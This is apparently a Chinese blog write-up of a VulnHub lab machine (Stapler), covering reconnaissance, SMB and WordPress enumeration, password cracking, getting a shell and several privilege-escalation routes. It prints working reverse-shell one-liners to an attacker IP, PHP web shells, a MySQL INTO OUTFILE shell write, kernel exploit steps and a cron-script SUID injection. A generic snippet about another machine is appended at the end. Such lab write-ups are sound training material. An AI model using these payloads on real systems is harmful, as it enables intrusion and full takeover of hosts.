打靶日记 VulnHub靶机 Stapler

微信公众号:泷羽Sec-临观

欢迎评论 💬点赞👍🏻 收藏 📂加关注+

一、靶机环境配置(在VM上)

如果在vm导入ovf文件会提示报错信息

在这里插入图片描述

在记事本打开ovf文件,然后CTRL+H将文档中所有的Caption替换为ElementName

在这里插入图片描述

然后将Stapler.mf删除

在这里插入图片描述

再重新导入ovf文件

在选择新虚拟机的存储路径时,应选择一个新的空目录导入,否则大概率会提示失败

注意:新虚拟机的存储路径选一个新的空目录导入

如果有导入失败的提示,有重试就点击重试就ok了

然后不要忘了改为NAT模式

在这里插入图片描述

这样就ok了

在这里插入图片描述

二、探测靶机IP(进行信息收集)

主机发现

arp-scan -l

在这里插入图片描述

nmap -sS -sV -p- -T5 192.168.253.128 -A

-sV-版本 -sS-详细描述信息 -A-版本号 -T5-最高速度模板(快但是会被发现) -p-全端口扫描

打靶机要养成习惯,-p-扫描全端口,如果没有-p-扫描全端口,就会将12380这个端口给遗漏

在这里插入图片描述

20/tcp    closed ftp-data
21/tcp    open   ftp         vsftpd 2.0.8 or later(Anonymous FTP login allowed)
22/tcp    open   ssh         OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
53/tcp    open   domain      dnsmasq 2.75
80/tcp    open   http        PHP cli server 5.5 or later
123/tcp   closed ntp
137/tcp   closed netbios-ns
138/tcp   closed netbios-dgm
139/tcp   open   netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
666/tcp   open   doom?
3306/tcp  open   mysql       MySQL 5.7.12-0ubuntu1
12380/tcp open   http        Apache httpd 2.4.18 ((Ubuntu))

80端口(目录枚举)

先去80端口网页看看

在这里插入图片描述

尝试目录枚举,并没有发现什么

在这里插入图片描述

尝试dirsearch去找有没有隐藏的文件

dirsearch -u http://192.168.253.128 

dirsearch 是一款用 Python 编写的开源 Web 目录扫描工具,用于在目标网站上查找隐藏的目录和文件

-udirsearch 命令中的一个参数,用于指定要扫描的目标 URL

在这里插入图片描述

发现是三个文件,下载下来后,还是没有发现什么东西,再去看看其他端口

ftp匿名登录

21端口存在匿名登录

发现和Tr0ll靶机一样也有匿名登录,用户直接ftp或者FTP,没有密码,发现有一个note文件,下载下来看看

在这里插入图片描述

得到这个

Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.

艾丽,确保你更新有效载荷信息。约翰,你完成后把它留在你的 FTP 账户里。

在这里插入图片描述

三、139端口SAMBA服务

得到两个用户名,Elly和John,后面没发现什么东西,再去找找突破口,看看其他的端口,看到139有个samba

在这里插入图片描述

smbclient -L //192.168.253.128

-L:指定列出目标主机的共享资源(List 功能)

尝试访问Samba服务器,查看Samba服务器的共享信息

在这里插入图片描述

print$: 默认的打印机驱动共享,通常只有管理员有写入权限。

kathy: 自定义共享,注释说Fred你在这干嘛,猜测可能会有一些信息

tmp: 临时文件共享,注释提示说临时文件都存在这,可能开放写入权限

IPC$: 用于远程管理通信的共享,不可直接访问文件,但可用于枚举用户或服务信息。

并且在这里看到SMB1回退

SMB1 是过时且不安全的协议(易受永恒之蓝等漏洞攻击),目标服务器可能未禁用 SMB1

Reconnecting with SMB1 for workgroup listing.

匿名访问测试(访问共享资源 无需密码)

尝试访问共享资源(如 kathytmp无需密码

smbclient //192.168.253.128/kathy -N  # -N 表示无密码

在这里插入图片描述

发现有两个目录,kathy_stuff文件夹里面有一个文本文档发现写了这个

I’m making sure to backup anything important for Initech, Kathy

凯西,我正在确保为英泰克公司备份所有重要的东西。

而在backup目录下发现一个压缩文件,都没有什么信息

smbclient //192.168.253.128/tmp -N

在这里插入图片描述

发现一个ls,直接下载下来看看,get ls

在这里插入图片描述

也没有什么信息

使用 enum4linux 进一步获取用户、组和权限信息

enum4linux 是一款在 Linux 系统上用于枚举 Windows 和 Samba 系统信息的工具。它可以帮助渗透测试人员、系统管理员收集目标主机的重要信息

enum4linux -a 192.168.253.128
vim user.txt
cat user.txt | cut -d '\' -f2 | cut -d ' ' -f1 > user.txt

在这里插入图片描述

在这里插入图片描述

尝试去爆破

hydra -L user.txt -P user.txt 192.168.253.128 ssh

在这里插入图片描述

爆破出一个用户SHayslett 密码SHayslett

在这里插入图片描述

得到这些文件夹都是用户名,知道密码尝试sudo su失败,在后面的提权中,用这个SHayslett用户是一样的

由于是SMB1,尝试一下看看能不能上传文件,如果可以就有很多思路去尝试

在SMB里尝试过的方法(均失败)

MS17-010

可以的话就通过**永恒之蓝SMBv1 漏洞(MS17-010)**去尝试提权

先尝试42315.py,这个用的版本多,但在oscp考试时msf只能用一回

searchsploit ms17-010
searchsploit -m 42315.py

在这里插入图片描述

msfconsole
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.253.128     # 目标 IP
msf6 > set LHOST 192.168.253.129               # 你的监听 IP
msf6 > set LPORT 4444                 # 监听端口
msf6 > run

在这里插入图片描述

利用失败

上传反弹 Shell 脚本

尝试上传脚本,进行反弹shell

import socket,subprocess,os
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("攻击者IP", 4444))  # 替换为你的监听IP和端口
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/bash","-i"])

在这里插入图片描述

上传成功,发现没有python,尝试通过通过 Web 服务触发

tmp 共享映射到 Web 目录(如 /var/www/html/tmp),直接访问 URL

curl http://192.168.253.128/tmp/shell.py

在这里插入图片描述

失败,继续尝试

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.253.128     # 目标 IP
msf6 > set LHOST 192.168.253.129               # 你的监听 IP
msf6 > set LPORT 4444                 # 监听端口
msf6 > run

在这里插入图片描述

利用失败

尝试上传LinPEAS:自动化提权信息收集脚本

smb: \> put linpeas.sh
chmod +x linpeas.sh 
./linpeas.sh

在这里插入图片描述

SMB 协议限制:SMB 本身不支持直接执行远程文件或修改 Unix 权限(chmod 命令无效)

执行权限缺失:上传的脚本默认没有可执行权限,需通过其他方式在目标服务器上运行

如果 tmp 共享目录映射到 Web 根目录(如 /var/www/html/tmp),可通过 HTTP 请求执行脚本

curl http://192.168.253.128/tmp/linpeas.sh -o /dev/null

前提:Web 服务器配置允许执行 Shell 脚本(需 .sh 文件关联解释器)

四、12380端口

80端口和21端口已经没有什么信息了,因为12380端口也是http,进行访问

在这里插入图片描述

查看网页源代码

在这里插入图片描述

在这里插入图片描述

看到很多用户名,还有一个base64加密,但还是没有什么信息

进行目录扫描(这里不要加http://,加了扫不出来)

dirsearch扫描

dirsearch -u 192.168.253.128:12380

在这里插入图片描述

[17:23:13] 200 -    3KB - /phpmyadmin/doc/html/index.html                   
[17:23:13] 200 -    3KB - /phpmyadmin/index.php                             
[17:23:13] 200 -    3KB - /phpmyadmin/                                      
[17:23:16] 200 -   59B  - /robots.txt   

在robots.txt发现

在这里插入图片描述

在/phpmyadmin/ 目录下,尝试了上面的,以为是密码

在这里插入图片描述

在/phpmyadmin/doc/html/index.html目录下

在这里插入图片描述

去访问robots.txt里面的两个目录

Disallow: /admin112233/
Disallow: /blogblog/

在这里插入图片描述

这里没什么可以利用的看另一个

在这里插入图片描述

WPScan扫描

发现是一个个人日记的博客,下面还有一个登录和注册,wordpress搭建的站

在这里插入图片描述

发现wordpress就想到在kali使用WPSscan

WPSscan:

  1. 定制性强:专为 WordPress 设计,了解其架构,能深入扫描核心、主题和插件。

  2. 功能全面:可识别组件版本、枚举用户、暴力破解登录。

wpscan --url https://192.168.253.128:12380/blogblog/ --disable-tls-checks

–disable-tls-checks : 正常情况下wpscan只能扫描http,加这个命令可以让它扫描https

TLS(传输层安全协议)用于在网络通信中提供加密和身份验证,确保数据传输的安全性。此参数的作用是禁用对目标网站 TLS 证书的检查。在某些情况下,目标网站的 TLS 证书可能存在问题(如过期、自签名等),使用该参数可以忽略这些证书问题,使扫描工具能够继续对网站进行扫描。

在这里插入图片描述

可以看到列出来了很多目录

在这里插入图片描述

Advanced video embed插件

在这里插入图片描述

去搜搜有没有漏洞,发现有一个

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

修改一下url,后面运行发现报错

在这里插入图片描述

如下修改一下配置,因为原本的poc是只能用于http,我们这里使用的https,所以需要对poc进行一下修改

# 添加以下代码,并且插入相关url
import ssl 
ssl._create_default_https_context = ssl._create_unverified_context        #取消全局证书验证

在这里插入图片描述

运行成功后发现多了一张图片

https://192.168.253.128:12380/blogblog/wp-content/uploads/

在这里插入图片描述

把图片下载下来

直接下载会报错,要加上–no-check-certificate

使用 --no-check-certificate 后,工具会忽略证书验证,即使证书无效或不受信任,也能继续下载或访问

在这里插入图片描述

wget https://192.168.253.128:12380/blogblog/wp-content/uploads/1242079520.jpeg --no-check-certificate

下载下来后直接cat,发现mysql用户名为root 密码为plbkac

在这里插入图片描述

phpadmin获得root账号

https://192.168.253.128:12380/phpmyadmin/

去前面的phpadmin尝试登录,登录成功

在这里插入图片描述

看到wordpress的用户密码

在这里插入图片描述

或者直接在kali登录

直接登录发现报错,表示客户端请求 SSL 加密连接,但目标 MySQL 服务器未启用 SSL 支持,导致连接失败

mysql -u root -pplbkac -h 192.168.253.128

在这里插入图片描述

尝试直接禁用客户端 SSL 要求(临时连接),还是报错

 mysql -u root -p plbkac -h 192.168.253.128 --ssl-mode=DISABLED

在这里插入图片描述

MySQL 客户端版本过低:旧版本的 MySQL 客户端(如 5.x)不支持 --ssl-mode 参数

尝试使用旧版本兼容参数

mysql -u root -pplbkac -h 192.168.253.128 --ssl=0

在这里插入图片描述

show databases;
use wordpress;
show tables;
desc wp_users;
select user_login,user_pass from wp_users;

在这里插入图片描述

$P$B7889EMq/erHIuZapMB8GEizebcIy9. 
$P$BlumbJRRBit7y50Y17.UPJ/xEgv4my0 
$P$BTzoYuAFiBA5ixX2njL0XcLzu67sGD0 
$P$BIp1ND3G70AnRAkRY41vpVypsTfZhk0 
$P$Bwd0VpK8hX4aN.rZ14WDdhEIGeJgf10 
$P$BzjfKAHd6N4cHKiugLX.4aLes8PxnZ1 
$P$BqV.SQ6OtKhVV7k7h1wqESkMh41buR0 
$P$BFmSPiDX1fChKRsytp1yp8Jo7RdHeI1 
$P$BZlxAMnC6ON.PYaurLGrhfBi6TjtcA0 
$P$BXDR7dLIJczwfuExJdpQqRsNf.9ueN0 
$P$B.gMMKRP11QOdT5m1s9mstAUEDjagu1 
$P$Bl7/V9Lqvu37jJT.6t4KWmY.v907Hy. 
$P$BLxdiNNRP008kOQ.jE44CjSK/7tEcz0 
$P$ByZg5mTBpKiLZ5KxhhRe/uqR.48ofs. 
$P$B85lqQ1Wwl2SqcPOuKDvxaSwodTY131 
$P$BuLagypsIJdEuzMkf20XyS5bRm00dQ0

检查加密方式

hash-identifier

在这里插入图片描述

为MD5加密

john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt

在这里插入图片描述

#密码
cookie               
monkey              
football          
coolgirl            
washere           
incorrect           
thumb                
0520               
passphrase        
damachine            
ylle            
partyqueen 
#用户名
John       
Elly     
Peter      
barry     
heather   
garry     
harry      
scott    
kathy     
tim       
ZOE       
Dave      
Simon     
Abby      
Vicki    
Pam      

现在wordpress用户名和密码都知道,在前面个人博客那有个登录

在这里插入图片描述

在这里插入图片描述

尝试hydra爆破,但是失败了,或者使用burp的一些插件进行爆破,有插件可以进行爆破,哪怕有验证码都可以

hydra -Lusername.txt -P pass.txt 192.168.253.128 -s 12380 -S -vV -t 2 -w 5 http-post-form \
"/blogblog/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=/blogblog/wp-admin/:F=Invalid username"

在这里插入图片描述

这里失败了,后面测试知道密码只有一个

用户名:John
密码:incorrect 

发现文件上传漏洞

登录后进行信息搜集

在这里插入图片描述

发现文件上传漏洞

在这里插入图片描述

五、getshell

在这里插入图片描述

有文件上传就好办了,还以为有文件上传的绕过,这里直接上传就行了,直接写一个1.php,改成主机ip和要监听的端口,当然也可以上传前面那个反弹shell的脚本

方法一

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.253.129/8888 0>&1'");?>

在这里插入图片描述

上传成功后,直接去访问这个网址,不要忘了监听端口

https://192.168.253.128:12380/blogblog/wp-content/uploads/

在这里插入图片描述

反弹shell成功

在这里插入图片描述

方法二(一句话木马)

写入一句话木马上传

在这里插入图片描述

<?php system($_GET['cmd']); ?>

在这里插入图片描述

因为是get传参直接在url后面添加脚本

https://192.168.253.128:12380/blogblog/wp-content/uploads/cmd.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.253.129",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

在这里插入图片描述

反弹成功

方法三(mysql)

mysql将一句话木马写入数据库

mysql -u root -pplbkac -h 192.168.253.128 --ssl=0
select "<?php system($_GET['cmd']); ?>" into outfile "/var/www/https/blogblog/wp-content/uploads/cmd1.php";

在这里插入图片描述

在这里插入图片描述

与上面的方法一致,因为有mysql的账号,可以通过mysql将一句话木马写入数据库

https://192.168.253.128:12380/blogblog/wp-content/uploads/cmd1.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.253.129",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

然后反弹shell成功

在这里插入图片描述

方法四(php-reverse-shell.php)

通过Kali Linux 系统自带的 php-reverse-shell.php 脚本

locate php-reverse-shell.php
cp /usr/share/webshells/php/php-reverse-shell.php .   #将指定路径下的反向 shell 脚本复制到当前目录(后面的点不要忘了)

在这里插入图片描述

 vi php-reverse-shell.php

修改为主机ip和要连接的端口

在这里插入图片描述

上传上去

在这里插入图片描述

反弹成功

在这里插入图片描述

方法五(weevely)

看到别的佬用了weevely这个工具

Weevely 是一款用于生成和管理 Webshell 的工具,是kali自带的

要生成一个 PHP 类型的 Webshell,可以使用如下命令:

weevely generate [密码] [输出文件名.php]
weevely generate 123 shell.php

在这里插入图片描述

在这里插入图片描述

上传成功后,使用以下命令连接到目标服务器上的 Webshell

weevely [目标URL] [密码]
weevely https://192.168.253.128:12380/blogblog/wp-content/uploads/shell.php 123

在这里插入图片描述

反弹shell成功

方法六(webacoo)

webacoo是 Kali Linux 系统中一款用于生成 Web 反向 Shell 的工具

webacoo能够生成特定格式的 PHP 代码,该代码在目标 Web 服务器上运行后,可与攻击者控制的主机建立反向连接,进而让攻击者获取一个 Shell 会话,实现对目标服务器的远程控制。

webacoo -g -o getshell.php
  • -g:它是 webacoo 工具的一个参数,一般代表 “generate”,也就是生成的意思。当使用 -g 参数时,webacoo 工具会根据其内置的规则和模板,生成用于建立反向 Shell 的代码。

  • -o getshell.php-o 是 “output” 的缩写,用于指定输出文件的名称。getshell.php 就是指定的输出文件名,意味着 webacoo 工具生成的反向 Shell 代码将被保存到 getshell.php 这个文件中。

生成好getshell.php,通过文件上传,将文件再上传上去

在这里插入图片描述

webacoo -t -u https://192.168.253.128:12380/blogblog/wp-content/uploads/getshell.php
  • -t:启动终端模式,与后门交互。

  • -u:指定目标后门的URL路径。

这条命令的作用是使用 webacoo 工具对 https://192.168.253.128:12380/blogblog/wp-content/uploads/getshell.php 这个 URL 对应的文件进行测试,判断该文件是否能够正常工作,例如是否可以成功建立反向 Shell 连接

在这里插入图片描述

反弹失败

六、提权

msf提权

真的逆天,直接root,牛逼

如果运用失败尝试重启虚拟机

msfconsole
search Samba  
use exploit/linux/samba/is_known_pipename
set rhosts 192.168.253.128
set rport 139
run

在这里插入图片描述

sudo提权(peter用户)

cat */.bash_history

在这里插入图片描述

发现两个账户和密码

sshpass -p thisimypassword ssh JKanode@localhost
sshpass -p JZQuyIN5 peter@localhost
JKanode thisimypassword
peter JZQuyIN5

先切换为JKanode用户

在这里插入图片描述

表明当前操作环境并非标准终端,有python,建立交互式终端

python -c "import pty; pty.spawn('/bin/bash');"

在这里插入图片描述

尝试JKanode用户sudo提权,失败

在这里插入图片描述

切换成Peter用户去尝试

在这里插入图片描述

提权成功

当然也可以将linpeas.sh(一个自动化扫描工具,很好用)传上去,后面内核提权二还用到了,看到peter用户有sudo提权

注意:别忘了开启一个http服务

python -m http.server(在kali上 默认8000端口)
cd /tmp
wget http://192.168.253.129:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

在这里插入图片描述

内核提权

临时目录有权限,可以尝试内核提权

在这里插入图片描述

查看版本信息

uname -a 
lsb_release -a

在这里插入图片描述

ubuntu为16.04版本,i686 代表 32 位的 x86 架构

searchsploit Ubuntu 16. privilege 

在这里插入图片描述

这里可以将x64的都排除掉

searchsploit Ubuntu 16. privilege | grep -v 'x86-64'  

在这里插入图片描述

尝试了第一个40085.c编译失败,第二个41923.txt是利用 LightDM 漏洞,但是这个靶机并没有安装LightDM,利用失败,第三个42276.c不兼容,目标环境与工具预期不匹配,第四个40759.rb,靶机上没有ruby环境,

第五个成功

先下到kali上面

wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip 

利用方法

在这里插入图片描述

wget http://192.168.253.129:8000/39772.zip
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit/
./compile.sh
./doubleput

tar

  • -x:表示 解包(extract),即从归档文件中提取内容。

  • -v:表示 verbose(详细模式),执行时会显示处理的文件名,便于用户观察解包过程。

  • -f exploit.tar-f 用于指定操作的归档文件,这里明确操作对象是 exploit.tar

然后等一段时间就ok了

在这里插入图片描述

提权成功

内核提权二([CVE-2021-4034]pwnkit)

les.sh(我改了名字linux-exploit-suggester),也是一个自动化扫描工具,上传到靶机,也非常好用

别忘了开启http服务

python -m http.server(默认8000端口)
cd /tmp
wget http://192.168.253.129:8000/les.sh
chmod +x les.sh
./les.sh

在这里插入图片描述

就是这个[CVE-2021-4034],可以直接去github上下载好,这个也可以提取

在这里插入图片描述

定时任务提权(Cron Jobs)

这个方法是看别的师傅的wp学来的,

ls -alh /etc/*cron*
  • ls -alh:以 长格式(-l) 显示文件详细信息,包括权限、所有者、大小、时间等;-h 让文件大小以人类可读的格式(如 KB、MB)展示。

  • /etc/cron:匹配 /etc/ 目录下所有包含 cron 关键字的文件和目录(通配符 * 表示任意字符)

logrotate软件是一个日志管理工具,用于 切割日志,删除旧的日志文件,并创建新的日志文件,起到“转储作用”,可以为系统节省磁盘空间。

在这里插入图片描述

find / -name logrotate* 2>/dev/null

查找logrotate,并且隐藏报错信息,

在这里插入图片描述

cat /etc/cron.d/logrotate

/etc/cron.d/logrotate 文件定义了 logrotate 工具的执行时间和方式。它借助 cron 服务(Linux 系统中用于定时执行任务的服务)来定期触发 logrotate 工具,让其按照预设的规则处理系统日志文件。

在这里插入图片描述

*/5 *   * * *   root  /usr/local/sbin/cron-logrotate.sh

让系统每 5 分钟以 root 用户的身份执行一次 /usr/local/sbin/cron-logrotate.sh 脚本

ls -la /usr/local/sbin/cron-logrotate.sh

在这里插入图片描述

有权限,尝试写入恶意代码

echo "cp /bin/bash /tmp/getroot; chown root:root /tmp/getroot; chmod u+s /tmp/getroot" >> /usr/local/sbin/cron-logrotate.sh

cp /bin/bash /tmp/getroot

  • 命令功能:cp 是 Linux 系统中用于复制文件或目录的命令。此命令将系统自带的 bash 解释器(通常位于 /bin/bash)复制到 /tmp 目录下,并将副本命名为 getroot/tmp 是系统临时目录,通常所有用户都有读写权限。

通过复制 bash 解释器,创建一个可以后续进行权限修改和使用的独立文件,避免直接修改原始的 bash 解释器带来的风险。

chown root:root /tmp/getroot

  • 命令功能:chown 是用于更改文件或目录的所有者和所属组的命令。在 Linux 系统中,每个文件都有一个所有者和一个所属组,权限的设置和操作与它们密切相关。root:root 表示将文件的所有者设置为 root 用户,所属组设置为 root 组。

/tmp/getroot 文件的控制权交给 root 用户,因为后续要设置特殊权限,通常只有 root 用户才有足够的权限进行操作。

chmod u+s /tmp/getroot

  • 命令功能:chmod 是用于修改文件或目录权限的命令。u 代表文件的所有者(user),+ 表示添加权限,s 是特殊权限位,这里指的是 SUID(Set User ID)权限。设置 SUID 权限后,当普通用户执行这个文件时,该文件会以其所有者(即 root 用户)的权限来运行。

让普通用户在执行 /tmp/getroot 时,能够以 root 用户的身份运行 bash 解释器,从而获得 root 权限。

等待5min后计划任务执行,执行/tmp/getroot -p命令,以root用户权限启动bash,获取root用户权限

/tmp/getroot -p

在这里插入图片描述

提权成功

七、Flag

在这里插入图片描述

### 关于 VulnHub 平台上的 Jan 靶机 #### 环境准备 对于渗透测试环境的选择,通常会采用 Kali Linux 作为攻击平台。Kali 是一款专门为渗透测试设计的操作系统,内置了大量的安全工具[^2]。 #### 初始信息收集 针对任何靶机的第一步都是进行全面的信息收集。这包括但不限于网络扫描、服务识别和服务版本检测。可以利用 `nmap` 进行初步的端口扫描和操作系统指纹识别: ```bash nmap -A <target_ip> ``` #### Web 应用分析 许多靶机会提供 web 接口供玩家探索。此时应该仔细审查网页源代码并尝试发现隐藏文件夹或路径。如果遇到 base64 编码的内容,则可能需要对其进行解码来揭示潜在线索[^1]。 #### 用户认证绕过与暴力破解 当面对受保护资源时,考虑是否存在弱密码或其他形式的身份验证缺陷。Hydra 工具能够帮助执行字典攻击以猜测常见用户名/密码组合: ```bash hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://<target_ip> ``` #### 权限提升技巧 一旦获得低权限 shell 访问后,下一步就是寻找方法提高当前用户的访问级别。LXD 容器逃逸是一种常见的提权手段,在某些情况下可能会被利用。 尽管上述内容提供了通用性的指导方针,但对于特定名称为 "Jan" 的 VulnHub 靶机的具体细节并未提及。建议查阅官方文档或者社区贡献者分享的相关 Walkthrough 文章获取更精确的帮助。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

临观_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值